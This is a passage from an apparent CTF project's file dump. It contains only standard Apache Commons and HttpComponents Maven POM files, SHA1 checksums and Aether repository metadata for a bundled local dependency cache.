<artifactId>maven-source-plugin</artifactId>\n            <executions>\n              <execution>\n                <id>create-source-jar</id>\n                <goals>\n                  <goal>jar</goal>\n                </goals>\n                <phase>package</phase>\n              </execution>\n            </executions>\n          </plugin>\n          <plugin>\n            <artifactId>maven-release-plugin</artifactId>\n            <configuration>\n              <!-- Pass these arguments to the deploy plugin. -->\n              <arguments>-Prc</arguments>\n            </configuration>\n          </plugin>\n          <plugin>\n            <artifactId>maven-javadoc-plugin</artifactId>\n            <executions>\n              <execution>\n                <id>create-javadoc-jar</id>\n                <goals>\n                  <goal>jar</goal>\n                </goals>\n                <phase>package</phase>\n                <configuration>\n                  <source>${maven.compile.source}</source>\n                </configuration>\n              </execution>\n            </executions>\n          </plugin>\n          <plugin>\n            <artifactId>maven-assembly-plugin</artifactId>\n            <executions>\n              <execution>\n                <goals>\n                  <goal>attached</goal>\n                </goals>\n                <phase>package</phase>\n              </execution>\n            </executions>\n          </plugin>\n        </plugins>\n      </build>\n    </profile>\n  </profiles>\n\n  <properties>\n\n    <!-- Default configuration for compiler source and target JVM -->\n    <maven.compile.source>1.3</maven.compile.source>\n    <maven.compile.target>1.3</maven.compile.target>\n\n    <!-- Default values for the download-page generation by commons-build-plugin -->\n    <commons.release.name>${project.artifactId}-${commons.release.version}</commons.release.name>\n    <commons.binary.suffix>-bin</commons.binary.suffix>\n\n    <!-- Commons Component Id -->\n    <commons.componentid>${project.artifactId}</commons.componentid>\n\n    <!-- Configuration properties for the OSGi maven-bundle-plugin -->\n    <commons.osgi.symbolicName>org.apache.commons.${commons.componentid}</commons.osgi.symbolicName>\n    <commons.osgi.export>org.apache.commons.*;version=${pom.version}</commons.osgi.export>\n    <commons.osgi.import>*</commons.osgi.import>\n    <commons.osgi.dynamicImport />\n    <commons.osgi.private />\n\n    <!-- location of any manifest file used by maven-jar-plugin -->\n    <commons.manifestfile>target/osgi/MANIFEST.MF</commons.manifestfile>\n\n    <!--\n      Make the deployment protocol pluggable. This allows to switch to\n      other protocols like scpexe, which some users prefer over scp.\n    -->\n    <commons.deployment.protocol>scp</commons.deployment.protocol>\n\n    <!--\n      Encoding of Java source files: Make sure, that the compiler and\n      the javadoc generator use the right encoding. Subprojects may\n      overwrite this, if they are using another encoding.\n    -->\n    <commons.encoding>iso-8859-1</commons.encoding>\n    <commons.docEncoding>${commons.encoding}</commons.docEncoding>\n\n  </properties>\n\n</project>"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/commons/commons-parent/9/commons-parent-9.pom.sha1",
    "content": "217cc375e25b647a61956e1d6a88163f9e3a387c"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/httpcomponents/httpclient/4.0.2/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 11:05:07 CST 2018\nhttpclient-4.0.2.jar>central=\nhttpclient-4.0.2.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/httpcomponents/httpclient/4.0.2/httpclient-4.0.2.jar.sha1",
    "content": "781b68c2fd5335de914166241b8d4bfe8c2f91b7"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/httpcomponents/httpclient/4.0.2/httpclient-4.0.2.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!--\n   ====================================================================\n   Licensed to the Apache Software Foundation (ASF) under one\n   or more contributor license agreements.  See the NOTICE file\n   distributed with this work for additional information\n   regarding copyright ownership.  The ASF licenses this file\n   to you under the Apache License, Version 2.0 (the\n   \"License\"); you may not use this file except in compliance\n   with the License.  You may obtain a copy of the License at\n\n     http://www.apache.org/licenses/LICENSE-2.0\n\n   Unless required by applicable law or agreed to in writing,\n   software distributed under the License is distributed on an\n   \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n   KIND, either express or implied.  See the License for the\n   specific language governing permissions and limitations\n   under the License.\n   ====================================================================\n\n   This software consists of voluntary contributions made by many\n   individuals on behalf of the Apache Software Foundation.  For more\n   information on the Apache Software Foundation, please see\n   <http://www.apache.org />.\n -->\n\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n  <parent>\n    <groupId>org.apache.httpcomponents</groupId>\n    <artifactId>httpcomponents-client</artifactId>\n    <version>4.0.2</version>\n  </parent>\n  <artifactId>httpclient</artifactId>\n  <name>HttpClient</name>\n  <description>\n   HttpComponents Client (base module)\n  </description>\n  <url>http://hc.apache.org/httpcomponents-client</url>\n  <packaging>jar</packaging>  \n\n  <licenses>\n    <license>\n      <name>Apache License</name>\n      <url>../LICENSE.txt</url>\n      <distribution>repo</distribution>\n    </license>\n  </licenses>\n\n  <dependencies>\n    <dependency>\n      <groupId>org.apache.httpcomponents</groupId>\n      <artifactId>httpcore</artifactId>\n      <version>${httpcore.version}</version>\n    </dependency>\n    <dependency>\n      <groupId>commons-logging</groupId>\n      <artifactId>commons-logging</artifactId>\n      <version>${commons-logging.version}</version>\n    </dependency>\n    <dependency>\n      <groupId>commons-codec</groupId>\n      <artifactId>commons-codec</artifactId>\n      <version>${commons-codec.version}</version>\n    </dependency>\n    <dependency>\n      <groupId>junit</groupId>\n      <artifactId>junit</artifactId>\n      <version>${junit.version}</version>\n      <scope>test</scope>\n    </dependency>\n  </dependencies>\n\n  <properties>\n    <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n    <project.reporting.outputEncoding>UTF-8</project.reporting.outputEncoding>\n    <maven.compile.source>1.5</maven.compile.source>\n    <maven.compile.target>1.5</maven.compile.target>\n    <maven.compile.optimize>true</maven.compile.optimize>\n    <maven.compile.deprecation>true</maven.compile.deprecation>\n  </properties>\n\n  <build>\n    <resources>\n      <resource>\n        <directory>src/main/resources</directory>\n        <filtering>false</filtering>\n        <includes>\n            <include>META-INF/*</include>\n        </includes>\n      </resource>\n      <resource>\n        <directory>src/main/resources</directory>\n        <filtering>true</filtering>\n        <includes>\n            <include>**/*.properties</include>\n        </includes>\n      </resource>\n      <resource>\n        <directory>..</directory>\n        <targetPath>META-INF</targetPath>\n        <includes>\n          <include>LICENSE.txt</include>\n        </includes>\n      </resource>\n      <resource>\n        <directory>../src/main/resources</directory>\n        <targetPath>META-INF</targetPath>\n        <filtering>true</filtering>\n        <includes>\n          <include>NOTICE.txt</include>\n        </includes>\n      </resource>\n    </resources>\n    <testResources>\n      <testResource>\n        <directory>src/test/resources</directory>\n        <filtering>false</filtering>\n        <includes>\n            <include>*</include>\n        </includes>\n      </testResource>\n      <testResource>\n        <directory>..</directory>\n        <targetPath>META-INF</targetPath>\n        <includes>\n          <include>LICENSE.txt</include>\n        </includes>\n      </testResource>\n      <testResource>\n        <directory>../src/main/resources</directory>\n        <targetPath>META-INF</targetPath>\n        <filtering>true</filtering>\n        <includes>\n          <include>NOTICE.txt</include>\n        </includes>\n      </testResource>\n    </testResources>\n    <plugins>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-compiler-plugin</artifactId>\n        <configuration>\n          <source>${maven.compile.source}</source>\n          <target>${maven.compile.target}</target>\n          <optimize>${maven.compile.optimize}</optimize>\n          <showDeprecations>${maven.compile.deprecation}</showDeprecations>\n        </configuration>\n      </plugin>\n      <plugin>\n        <artifactId>maven-surefire-plugin</artifactId>\n      </plugin>\n      <plugin>\n        <artifactId>maven-jar-plugin</artifactId>\n        <configuration>\n          <archive>\n            <manifestEntries>\n              <Specification-Title>HttpComponents HttpClient</Specification-Title>\n              <Specification-Version>${pom.version}</Specification-Version>\n              <Specification-Vendor>The Apache Software Foundation</Specification-Vendor>\n              <Implementation-Title>HttpComponents HttpClient</Implementation-Title>\n              <Implementation-Version>${pom.version}</Implementation-Version>\n              <Implementation-Vendor>The Apache Software Foundation</Implementation-Vendor>\n              <Implementation-Vendor-Id>org.apache</Implementation-Vendor-Id>\n              <url>${pom.url}</url>\n            </manifestEntries>\n          </archive>\n        </configuration>\n        <executions>\n          <execution>\n            <goals>\n              <goal>test-jar</goal>\n            </goals>\n          </execution>\n        </executions>\n      </plugin>\n    </plugins>\n  </build>\n\n  <reporting>\n    <plugins>\n\n      <plugin>\n        <artifactId>maven-javadoc-plugin</artifactId>\n        <configuration>\n          <source>1.5</source>\n          <links>\n            <link>http://java.sun.com/j2se/1.5.0/docs/api/</link>\n            <link>http://hc.apache.org/httpcomponents-core/httpcore/apidocs/</link>\n          </links>\n        </configuration>\n        <reportSets>\n          <reportSet>\n            <reports>\n              <report>javadoc</report>\n            </reports>\n          </reportSet>\n        </reportSets>\n      </plugin>\n\n      <plugin>\n        <groupId>com.atlassian.maven.plugins</groupId>\n        <artifactId>maven-clover2-plugin</artifactId>\n        <configuration>\n          <jdk>1.5</jdk>\n        </configuration>\n      </plugin>\n\n      <plugin>\n        <groupId>org.codehaus.mojo</groupId>\n        <artifactId>clirr-maven-plugin</artifactId>\n        <configuration>\n          <comparisonVersion>4.0</comparisonVersion>\n        </configuration>\n      </plugin>\n\n      <plugin>\n        <artifactId>maven-jxr-plugin</artifactId>\n      </plugin>\n\n      <plugin>\n        <artifactId>maven-surefire-report-plugin</artifactId>\n      </plugin>\n\n    </plugins>\n  </reporting>\n\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/httpcomponents/httpclient/4.0.2/httpclient-4.0.2.pom.sha1",
    "content": "f218515f169bb93b7fd6c67fab0dedbaf832a8ae"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/httpcomponents/httpcomponents-client/4.0.2/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 11:00:49 CST 2018\nhttpcomponents-client-4.0.2.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/httpcomponents/httpcomponents-client/4.0.2/httpcomponents-client-4.0.2.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!-- \n   ====================================================================\n   Licensed to the Apache Software Foundation (ASF) under one\n   or more contributor license agreements.  See the NOTICE file\n   distributed with this work for additional information\n   regarding copyright ownership.  The ASF licenses this file\n   to you under the Apache License, Version 2.0 (the\n   \"License\"); you may not use this file except in compliance\n   with the License.  You may obtain a copy of the License at\n\n     http://www.apache.org/licenses/LICENSE-2.0\n\n   Unless required by applicable law or agreed to in writing,\n   software distributed under the License is distributed on an\n   \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n   KIND, either express or implied.  See the License for the\n   specific language governing permissions and limitations\n   under the License.\n   ====================================================================\n\n   This software consists of voluntary contributions made by many\n   individuals on behalf of the Apache Software Foundation.  For more\n   information on the Apache Software Foundation, please see\n   <http://www.apache.org />.\n -->\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd\">\n  <parent>\n    <artifactId>project</artifactId>\n    <groupId>org.apache.httpcomponents</groupId>\n    <version>4.1</version>\n    <relativePath>../project/pom.xml</relativePath>\n  </parent>\n  <modelVersion>4.0.0</modelVersion>\n  <groupId>org.apache.httpcomponents</groupId>\n  <artifactId>httpcomponents-client</artifactId>\n  <name>HttpComponents Client</name>\n  <version>4.0.2</version>\n  <description>Components to build client side HTTP services</description>\n  <url>http://hc.apache.org/httpcomponents-client</url>\n  <inceptionYear>1999</inceptionYear>\n  <packaging>pom</packaging>\n\n  <organization>\n    <name>Apache Software Foundation</name>\n    <url>http://www.apache.org/</url>\n  </organization>\n\n  <licenses>\n    <license>\n      <name>Apache License</name>\n      <url>LICENSE.txt</url>\n      <distribution>repo</distribution>\n    </license>\n  </licenses>\n\n  <issueManagement>\n    <system>Jira</system>\n    <url>http://issues.apache.org/jira/browse/HTTPCLIENT</url>\n  </issueManagement>\n\n  <scm>\n    <connection>scm:svn:https://svn.apache.org/repos/asf/httpcomponents/httpclient/tags/4.0.2</connection>\n    <developerConnection>scm:svn:https://svn.apache.org/repos/asf/httpcomponents/httpclient/tags/4.0.2</developerConnection>\n    <url>https://svn.apache.org/repos/asf/httpcomponents/httpclient/tags/4.0.2</url>\n  </scm>\n\n  <properties>\n    <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n    <project.reporting.outputEncoding>UTF-8</project.reporting.outputEncoding>\n    <httpcore.version>4.0.1</httpcore.version>\n    <commons-logging.version>1.1.1</commons-logging.version>\n    <commons-codec.version>1.3</commons-codec.version>\n    <mime4j.version>0.6</mime4j.version>\n    <junit.version>3.8.2</junit.version>\n  </properties>\n\n  <modules>\n    <module>httpclient</module>\n    <module>httpmime</module>\n    <module>httpclient-osgi</module>\n  </modules>\n\n  <build>\n    <plugins>\n      <plugin>\n        <artifactId>maven-source-plugin</artifactId>\n        <executions>\n          <execution>\n            <id>attach-sources</id>\n            <goals>\n              <goal>jar</goal>\n            </goals>\n          </execution>\n        </executions>\n      </plugin>\n      <plugin>\n        <artifactId>maven-javadoc-plugin</artifactId>\n        <configuration>\n          <source>1.5</source>\n          <links>\n            <link>http://java.sun.com/j2se/1.5.0/docs/api/</link>\n            <link>http://hc.apache.org/httpcomponents-core/httpcore/apidocs/</link>\n            <link>http://james.apache.org/mime4j/apidocs/</link>\n          </links>\n        </configuration>\n      </plugin>\n      <plugin>\n        <artifactId>maven-site-plugin</artifactId>\n      </plugin>\n      <plugin>\n        <artifactId>maven-assembly-plugin</artifactId>\n        <configuration>\n          <descriptors>\n            <descriptor>src/main/assembly/bin.xml</descriptor>\n            <descriptor>src/main/assembly/osgi-bin.xml</descriptor>\n            <descriptor>src/main/assembly/bin-with-deps.xml</descriptor>\n            <descriptor>src/main/assembly/src.xml</descriptor>\n          </descriptors>\n          <tarLongFileMode>gnu</tarLongFileMode>\n        </configuration>\n      </plugin>\n      <plugin>\n        <artifactId>maven-antrun-plugin</artifactId>\n        <inherited>false</inherited>\n        <configuration>\n          <tasks>\n            <ant antfile=\"src/main/assembly/build.xml\">\n              <property name=\"target\" value=\"${project.build.directory}\" />\n              <property name=\"package.name\" value=\"${pom.artifactId}-${pom.version}-bin\" />\n            </ant>\n            <ant antfile=\"src/main/assembly/build.xml\">\n              <property name=\"target\" value=\"${project.build.directory}\" />\n              <property name=\"package.name\" value=\"${pom.artifactId}-${pom.version}-bin-with-dependencies\" />\n            </ant>\n            <ant antfile=\"src/main/assembly/build.xml\">\n              <property name=\"target\" value=\"${project.build.directory}\" />\n              <property name=\"package.name\" value=\"${pom.artifactId}-${pom.version}-osgi-bin\" />\n            </ant>\n            <ant antfile=\"src/main/assembly/build.xml\">\n              <property name=\"target\" value=\"${project.build.directory}\" />\n              <property name=\"package.name\" value=\"${pom.artifactId}-${pom.version}-src\" />\n            </ant>\n          </tasks>\n        </configuration>\n      </plugin>\n      <plugin>\n        <groupId>com.atlassian.maven.plugins</groupId>\n        <artifactId>maven-clover2-plugin</artifactId>\n        <configuration>\n          <flushPolicy>threaded</flushPolicy>\n          <flushInterval>100</flushInterval>\n          <targetPercentage>50%</targetPercentage>\n        </configuration>\n        <executions>\n          <execution>\n            <id>site</id>\n            <phase>pre-site</phase>\n            <goals>\n              <goal>instrument</goal>\n              <goal>aggregate</goal>\n              <goal>save-history</goal>\n            </goals>\n          </execution>\n        </executions>\n      </plugin>\n      <plugin>\n        <groupId>com.agilejava.docbkx</groupId>\n        <artifactId>docbkx-maven-plugin</artifactId>\n        <executions>\n          <execution>\n            <goals>\n                <goal>generate-html</goal>\n                <goal>generate-pdf</goal>\n            </goals>\n            <phase>pre-site</phase>\n          </execution>\n        </executions>\n        <dependencies>\n          <dependency>\n            <groupId>org.docbook</groupId>\n            <artifactId>docbook-xml</artifactId>\n            <version>4.4</version>\n            <scope>runtime</scope>\n          </dependency>\n        </dependencies>\n        <configuration>\n          <includes>index.xml</includes>\n          <chunkedOutput>true</chunkedOutput>\n          <xincludeSupported>true</xincludeSupported>\n          <foCustomization>src/docbkx/resources/xsl/fopdf.xsl</foCustomization>\n          <htmlCustomization>src/docbkx/resources/xsl/html_chunk.xsl</htmlCustomization>\n          <htmlStylesheet>css/hc-tutorial.css</htmlStylesheet>\n          <entities>\n            <entity>\n              <name>version</name>\n              <value>${pom.version}</value>\n            </entity>\n          </entities>\n          <postProcess>\n            <copy todir=\"target/site/tutorial\">\n              <fileset dir=\"target/docbkx\">\n                <include name=\"**/*.html\" />\n                <include name=\"**/*.pdf\" />\n              </fileset>\n            </copy>\n            <copy todir=\"target/site/tutorial/html\">\n              <fileset dir=\"src/docbkx/resources\">\n                <include name=\"**/*.css\" />\n                <include name=\"**/*.png\" />\n                <include name=\"**/*.gif\" />\n                <include name=\"**/*.jpg\" />\n              </fileset>\n            </copy>\n            <move file=\"target/site/tutorial/pdf/index.pdf\" tofile=\"target/site/tutorial/pdf/httpclient-tutorial.pdf\" failonerror=\"false\" />\n          </postProcess>\n        </configuration>\n      </plugin>\n\n    </plugins>\n  </build>\n\n  <reporting>\n    <plugins>\n\n       <plugin>\n         <artifactId>maven-project-info-reports-plugin</artifactId>\n         <reportSets>\n           <reportSet>\n             <reports>\n               <report>dependencies</report>\n               <report>project-team</report>\n               <report>mailing-list</report>\n               <report>issue-tracking</report>\n               <report>scm</report>\n             </reports>\n           </reportSet>\n         </reportSets>\n      </plugin>\n\n    </plugins>\n  </reporting>\n\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/httpcomponents/httpcomponents-client/4.0.2/httpcomponents-client-4.0.2.pom.sha1",
    "content": "f068349e19ba323665d0bc49141333747b174f3f"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/httpcomponents/httpcomponents-core/4.0.1/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 11:00:51 CST 2018\nhttpcomponents-core-4.0.1.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/httpcomponents/httpcomponents-core/4.0.1/httpcomponents-core-4.0.1.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!-- \n   $HeadURL: https://svn.apache.org/repos/asf/httpcomponents/httpcore/tags/4.0.1/pom.xml $\n   $Revision: 786183 $\n   $Date: 2009-06-18 19:52:53 +0200 (Thu, 18 Jun 2009) $\n\n   ====================================================================\n   Licensed to the Apache Software Foundation (ASF) under one\n   or more contributor license agreements.  See the NOTICE file\n   distributed with this work for additional information\n   regarding copyright ownership.  The ASF licenses this file\n   to you under the Apache License, Version 2.0 (the\n   \"License\"); you may not use this file except in compliance\n   with the License.  You may obtain a copy of the License at\n\n     http://www.apache.org/licenses/LICENSE-2.0\n\n   Unless required by applicable law or agreed to in writing,\n   software distributed under the License is distributed on an\n   \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n   KIND, either express or implied.  See the License for the\n   specific language governing permissions and limitations\n   under the License.\n   ====================================================================\n\n   This software consists of voluntary contributions made by many\n   individuals on behalf of the Apache Software Foundation.  For more\n   information on the Apache Software Foundation, please see\n   <http://www.apache.org />.\n -->\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd\">\n  <parent>\n    <artifactId>project</artifactId>\n    <groupId>org.apache.httpcomponents</groupId>\n    <version>4.0</version>\n    <relativePath>../project/pom.xml</relativePath>\n  </parent>\n  <modelVersion>4.0.0</modelVersion>\n  <groupId>org.apache.httpcomponents</groupId>\n  <artifactId>httpcomponents-core</artifactId>\n  <name>HttpComponents Core</name>\n  <version>4.0.1</version>\n  <description>Core components to build HTTP enabled services</description>\n  <url>http://hc.apache.org/httpcomponents-core/</url>\n  <inceptionYear>2005</inceptionYear>\n  <packaging>pom</packaging>\n\n  <organization>\n    <name>Apache Software Foundation</name>\n    <url>http://www.apache.org/</url>\n  </organization>\n\n  <licenses>\n    <license>\n      <name>Apache License</name>\n      <url>LICENSE.txt</url>\n      <distribution>repo</distribution>\n    </license>\n  </licenses>\n\n  <issueManagement>\n    <system>Jira</system>\n    <url>http://issues.apache.org/jira/browse/HTTPCORE</url>\n  </issueManagement>\n\n  <scm>\n    <connection>scm:svn:http://svn.apache.org/repos/asf/httpcomponents/httpcore/tags/4.0.1</connection>\n    <developerConnection>scm:svn:https://svn.apache.org/repos/asf/httpcomponents/httpcore/tags/4.0.1</developerConnection>\n    <url>http://svn.apache.org/repos/asf/httpcomponents/httpcore/tags/4.0.1</url>\n  </scm>\n\n  <modules>\n    <module>httpcore</module>\n    <module>httpcore-nio</module>\n    <module>httpcore-osgi</module>\n  </modules>\n\n  <properties>\n    <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n    <project.reporting.outputEncoding>UTF-8</project.reporting.outputEncoding>\n  </properties>\n\n  <build>\n    <plugins>\n      <!-- Add NOTICE and LICENSE to generated JAR -->\n      <plugin>\n        <artifactId>maven-remote-resources-plugin</artifactId>\n        <version>1.0</version>\n        <executions>\n          <execution>\n            <goals>\n              <goal>process</goal>\n            </goals>\n            <configuration>\n              <resourceBundles>\n                <resourceBundle>org.apache:apache-jar-resource-bundle:1.4</resourceBundle>\n              </resourceBundles>\n              <properties>\n                  <addLicense>true</addLicense>\n              </properties>\n            </configuration>\n          </execution>\n        </executions>\n      </plugin>\n      <plugin>\n        <artifactId>maven-source-plugin</artifactId>\n        <executions>\n          <execution>\n            <id>attach-sources</id>\n            <goals>\n              <goal>jar</goal>\n            </goals>\n          </execution>\n        </executions>\n      </plugin>\n      <plugin>\n        <artifactId>maven-javadoc-plugin</artifactId>\n        <configuration>\n          <source>1.5</source>\n          <aggregate>true</aggregate>\n          <links>\n            <link>http://java.sun.com/j2se/1.5.0/docs/api/</link>\n          </links>\n        </configuration>\n      </plugin>\n      <plugin>\n        <artifactId>maven-site-plugin</artifactId>\n      </plugin>\n      <plugin>\n        <artifactId>maven-release-plugin</artifactId>\n        <configuration>\n          <tagBase>https://svn.apache.org/repos/asf/httpcomponents/httpcore/tags/</tagBase>\n        </configuration>\n      </plugin>\n      <plugin>\n        <artifactId>maven-assembly-plugin</artifactId>\n        <version>2.2-beta-3</version>\n        <configuration>\n          <descriptors>\n            <descriptor>src/main/assembly/bin.xml</descriptor>\n            <descriptor>src/main/assembly/osgi-bin.xml</descriptor>\n            <descriptor>src/main/assembly/src.xml</descriptor>\n          </descriptors>\n          <tarLongFileMode>gnu</tarLongFileMode>\n        </configuration>\n      </plugin>\n      <plugin>\n        <artifactId>maven-antrun-plugin</artifactId>\n        <inherited>false</inherited>\n        <configuration>\n          <tasks>\n            <ant antfile=\"src/main/assembly/build.xml\">\n              <property name=\"target\" value=\"${project.build.directory}\" />\n              <property name=\"package.zip\" value=\"${pom.artifactId}-${pom.version}-bin.zip\" />\n            </ant>\n            <ant antfile=\"src/main/assembly/build.xml\">\n              <property name=\"target\" value=\"${project.build.directory}\" />\n              <property name=\"package.zip\" value=\"${pom.artifactId}-${pom.version}-src.zip\" />\n            </ant>\n            <ant antfile=\"src/main/assembly/build.xml\">\n              <property name=\"target\" value=\"${project.build.directory}\" />\n              <property name=\"package.zip\" value=\"${pom.artifactId}-${pom.version}-osgi-bin.zip\" />\n            </ant>\n          </tasks>\n        </configuration>\n      </plugin>\n      <plugin>\n        <groupId>com.atlassian.maven.plugins</groupId>\n        <artifactId>maven-clover2-plugin</artifactId>\n        <configuration>\n          <flushPolicy>threaded</flushPolicy>\n          <flushInterval>100</flushInterval>\n          <targetPercentage>50%</targetPercentage>\n        </configuration>\n        <executions>\n          <execution>\n            <id>site</id>\n            <phase>pre-site</phase>\n            <goals>\n              <goal>instrument</goal>\n              <goal>aggregate</goal>\n              <goal>save-history</goal>\n            </goals>\n          </execution>\n        </executions>\n      </plugin>\n      <plugin>\n        <groupId>com.agilejava.docbkx</groupId>\n        <artifactId>docbkx-maven-plugin</artifactId>\n        <version>2.0.8</version>\n        <executions>\n          <execution>\n            <goals>\n                <goal>generate-html</goal>\n                <goal>generate-pdf</goal>\n            </goals>\n            <phase>pre-site</phase>\n          </execution>\n        </executions>\n        <dependencies>\n          <dependency>\n            <groupId>org.docbook</groupId>\n            <artifactId>docbook-xml</artifactId>\n            <version>4.4</version>\n            <scope>runtime</scope>\n          </dependency>\n        </dependencies>\n        <configuration>\n          <includes>index.xml</includes>\n          <chunkedOutput>true</chunkedOutput>\n          <xincludeSupported>true</xincludeSupported>\n          <foCustomization>src/docbkx/resources/xsl/fopdf.xsl</foCustomization>\n          <htmlCustomization>src/docbkx/resources/xsl/html_chunk.xsl</htmlCustomization>\n          <htmlStylesheet>css/hc-tutorial.css</htmlStylesheet>\n          <entities>\n            <entity>\n              <name>version</name>\n              <value>${pom.version}</value>\n            </entity>\n          </entities>\n          <postProcess>\n            <copy todir=\"target/site/tutorial\">\n              <fileset dir=\"target/docbkx\">\n                <include name=\"**/*.html\" />\n                <include name=\"**/*.pdf\" />\n              </fileset>\n            </copy>\n            <copy todir=\"target/site/tutorial/html\">\n              <fileset dir=\"src/docbkx/resources\">\n                <include name=\"**/*.css\" />\n                <include name=\"**/*.png\" />\n                <include name=\"**/*.gif\" />\n                <include name=\"**/*.jpg\" />\n              </fileset>\n            </copy>\n            <move file=\"target/site/tutorial/pdf/index.pdf\" tofile=\"target/site/tutorial/pdf/httpcore-tutorial.pdf\" failonerror=\"false\" />\n          </postProcess>\n        </configuration>\n      </plugin>\n    </plugins>\n  </build>\n\n  <reporting>\n    <plugins>\n\n       <plugin>\n         <artifactId>maven-project-info-reports-plugin</artifactId>\n         <reportSets>\n           <reportSet>\n             <reports>\n               <report>project-team</report>\n               <report>mailing-list</report>\n               <report>issue-tracking</report>\n               <report>scm</report>\n             </reports>\n           </reportSet>\n         </reportSets>\n      </plugin>\n\n    </plugins>\n  </reporting>\n\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/httpcomponents/httpcomponents-core/4.0.1/httpcomponents-core-4.0.1.pom.sha1",
    "content": "2766fab80fcc4f8bfdfe4f4a7cf151140ec8e0ed"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/httpcomponents/httpcore/4.0.1/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 11:05:07 CST 2018\nhttpcore-4.0.1.pom>central=\nhttpcore-4.0.1.jar>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/httpcomponents/httpcore/4.0.1/httpcore-4.0.1.jar.sha1",
    "content": "e813b8722c387b22e1adccf7914729db09bcb4a9"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/httpcomponents/httpcore/4.0.1/httpcore-4.0.1.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!-- \n   $HeadURL: https://svn.apache.org/repos/asf/httpcomponents/httpcore/tags/4.0.1/httpcore/pom.xml $\n   $Revision: 786183 $\n   $Date: 2009-06-18 19:52:53 +0200 (Thu, 18 Jun 2009) $\n\n   ====================================================================\n   Licensed to the Apache Software Foundation (ASF) under one\n   or more contributor license agreements.  See the NOTICE file\n   distributed with this work for additional information\n   regarding copyright ownership.  The ASF licenses this file\n   to you under the Apache License, Version 2.0 (the\n   \"License\"); you may not use this file except in compliance\n   with the License.  You may obtain a copy of the License at\n\n     http://www.apache.org/licenses/LICENSE-2.0\n\n   Unless required by applicable law or agreed to in writing,\n   software distributed under the License is distributed on an\n   \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n   KIND, either express or implied.  See the License for the\n   specific language governing permissions and limitations\n   under the License.\n   ====================================================================\n\n   This software consists of voluntary contributions made by many\n   individuals on behalf of the Apache Software Foundation.  For more\n   information on the Apache Software Foundation, please see\n   <http://www.apache.org />.\n -->\n\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n  <parent>\n    <groupId>org.apache.httpcomponents</groupId>\n    <artifactId>httpcomponents-core</artifactId>\n    <version>4.0.1</version>\n  </parent>\n  <artifactId>httpcore</artifactId>\n  <name>HttpCore</name>\n  <inceptionYear>2005</inceptionYear>\n  <description>\n   HttpComponents Core (Java 1.3 compatible)\n  </description>\n  <url>http://hc.apache.org/httpcomponents-core/</url>\n  <packaging>jar</packaging>  \n\n  <licenses>\n    <license>\n      <name>Apache License</name>\n      <url>http://www.apache.org/licenses/LICENSE-2.0.html</url>\n      <distribution>repo</distribution>\n    </license>\n  </licenses>\n\n  <dependencies>\n    <dependency>\n      <groupId>junit</groupId>\n      <artifactId>junit</artifactId>\n      <version>3.8.1</version>\n      <scope>test</scope>\n    </dependency>\n  </dependencies>\n\n  <properties>\n    <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n    <project.reporting.outputEncoding>UTF-8</project.reporting.outputEncoding>\n    <maven.compile.source>1.3</maven.compile.source>\n    <maven.compile.target>1.3</maven.compile.target>\n    